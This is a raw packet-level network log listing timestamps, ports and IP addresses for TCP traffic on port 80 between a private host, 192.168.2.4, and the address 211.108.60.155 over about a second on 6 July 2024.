Jul 6, 2024 14:10:08.408097982 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.408107996 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.408134937 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.408154964 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.408163071 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.408171892 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.408194065 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.408206940 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.408454895 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.408464909 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:08.408499002 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.756113052 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:08.760982037 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.046983957 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.047012091 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.047023058 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.047045946 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.047059059 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.047058105 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.047080040 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.047091961 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.047094107 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.047101974 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.047107935 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.047120094 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.047137022 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.047409058 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.047445059 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.047458887 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.047468901 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.047492027 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.047504902 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.047869921 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.047895908 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.047907114 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.047914982 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.047930956 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.047949076 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.047960043 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.047983885 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.047992945 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.047993898 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.048016071 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.048027992 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.048043013 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.048048973 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.048074007 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.048291922 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.048336983 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.048415899 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.048424959 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.048434973 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.048444986 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.048449993 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.048465014 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.048475981 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.048499107 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.048521996 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.048659086 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.048691034 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.048722982 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.048758984 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.048804998 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.048815012 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.048851013 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.048887968 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.048897982 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.048935890 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.049243927 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.049288034 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.049297094 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.049313068 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.049329042 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.049329996 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.049338102 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.049386024 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.049433947 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.049500942 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.049511909 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.049541950 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.049566031 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.049583912 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.049618959 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.049627066 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.049638033 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.049674988 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.050059080 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.050101042 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.050555944 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.050565004 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.050605059 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.050734043 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.050774097 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.051068068 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.051110029 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.051115036 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.051120996 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.051145077 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.051163912 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.051326036 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.051336050 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.051345110 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.051374912 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.051374912 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.051384926 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.051393986 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.051402092 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.051404953 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.051429987 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.051453114 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.051492929 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.051532030 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.051541090 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.051551104 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.051559925 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.051575899 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.051595926 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.051657915 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.051666975 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.051728010 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.052371979 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.052400112 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.052423000 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.052440882 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.052512884 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.052522898 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.052532911 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.052542925 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.052551031 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.052567005 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.052602053 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.052611113 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.052647114 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.241802931 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.242017031 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.242300034 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.242357016 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.242449045 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.242459059 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.242501974 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.242568970 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.242578983 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.242588997 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.242599964 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.242609978 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.242611885 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.242657900 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.242757082 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.242774010 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.242784023 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.242794991 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.242805958 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.242815971 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.242821932 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.242825985 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.242836952 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.242850065 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.242863894 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.242888927 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.243010044 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.243020058 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.243030071 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.243052959 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.243077040 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.243216991 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.243227005 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.243236065 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.243266106 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.243287086 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.243330002 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.243340015 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.243349075 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.243372917 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.243393898 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.243428946 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.243438005 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.243448973 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.243474960 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.243496895 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.243541002 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.243549109 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.243557930 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.243567944 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.243575096 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.243577003 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.243592978 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.243617058 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.243633986 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.243674994 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.243741989 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.243752003 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.243784904 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.243814945 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.243823051 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.243845940 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.243870020 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.243918896 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.243927956 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.243963957 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.244169950 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.244199038 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.244214058 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.244215965 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.244235039 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.244246006 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.244321108 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.244329929 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.244364023 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.244841099 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.244849920 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.244885921 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.244915009 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.244955063 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.245016098 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.245027065 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.245037079 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.245062113 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.245073080 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.245083094 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.245084047 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.245093107 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.245110989 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.245125055 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.245279074 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.245304108 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.245312929 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.245318890 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.245342016 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.245589018 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.245598078 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.245608091 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.245630026 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.245652914 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.245737076 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.245764971 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.245774984 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.245780945 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.245810986 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.245870113 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.245878935 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.245910883 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.438721895 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.438741922 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.438752890 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.438764095 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.438775063 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.438785076 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.438787937 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.438797951 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.438831091 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.438847065 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.438899994 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.438926935 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.438940048 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.438939095 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.438951015 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.438961983 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.438965082 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.438971996 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.438982010 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.438985109 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.438993931 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.439006090 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.439011097 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.439026117 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.439042091 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.439459085 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.439471006 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.439481020 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.439491987 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.439502001 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.439507961 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.439512968 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.439524889 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.439536095 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.439543962 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.439544916 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.439559937 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.439567089 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.439580917 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.439609051 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.440135002 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.440146923 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.440157890 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.440167904 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.440177917 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.440188885 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.440191984 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.440197945 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.440208912 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.440211058 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.440218925 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.440228939 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.440238953 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.440242052 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.440252066 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.440274000 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.440402031 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.440412045 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.440422058 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.440433025 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.440439939 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.440443993 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.440454006 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.440454960 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.440463066 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.440474033 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.440490961 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.440510035 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.440510035 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.440521002 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.440540075 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.440579891 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.440705061 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.440716982 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.440727949 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.440738916 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.440748930 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.440752029 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.440761089 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.440771103 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.440774918 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.440782070 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.440793037 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.440802097 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.440815926 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.440836906 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.722106934 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.722124100 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.722132921 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.722142935 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:09.722198009 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:09.722238064 CEST	49732	80	192.168.2.4	211.108.60.155
